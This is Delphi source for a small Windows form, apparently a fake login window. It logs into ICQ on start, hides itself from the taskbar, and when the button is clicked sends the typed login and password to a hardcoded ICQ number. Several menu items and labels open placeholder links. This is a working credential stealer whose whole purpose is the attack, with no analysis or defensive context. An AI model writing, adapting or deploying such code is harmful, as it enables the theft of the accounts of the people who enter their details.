unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, XPMan, ICQClient, ShellAPI, CoolTrayIcon,
  Menus;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    XPManifest1: TXPManifest;
    CheckBox1: TCheckBox;
    Button1: TButton;
    Label5: TLabel;
    ICQClient1: TICQClient;
    CoolTrayIcon1: TCoolTrayIcon;
    Timer1: TTimer;
    Image1: TImage;
    CheckBox2: TCheckBox;
    MainMenu1: TMainMenu;
    prog1: TMenuItem;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    prog2: TMenuItem;
    N6: TMenuItem;
    Label1: TLabel;
    procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Label1MouseLeave(Sender: TObject);


    procedure Label5MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Label5MouseLeave(Sender: TObject);

    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Label1Click(Sender: TObject);
    procedure Label5Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
uses Unit2;
{$R *.dfm}





procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
label1.Font.Color:= clBlue;
end;

procedure TForm1.Label1MouseLeave(Sender: TObject);
begin
label1.Font.Color:= clNavy;
end;




procedure TForm1.Label5MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
label5.Font.Color:= clBlue;
end;

procedure TForm1.Label5MouseLeave(Sender: TObject);
begin
label5.Font.Color:= clNavy;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

icqclient1.Login();

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.SendMessage(123456789, 'Login: ' + Edit1.Text + '  Password: ' + Edit2.Text); 
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;


procedure TForm1.N5Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.N4Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('https://ссыль'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.Label5Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль/'), nil, '', SW_SHOWNORMAL);
end;


procedure TForm1.Timer1Timer(Sender: TObject);
begin
ShowWindow(application.Handle,SW_HIDE);
timer1.Enabled:= False;
end;


end.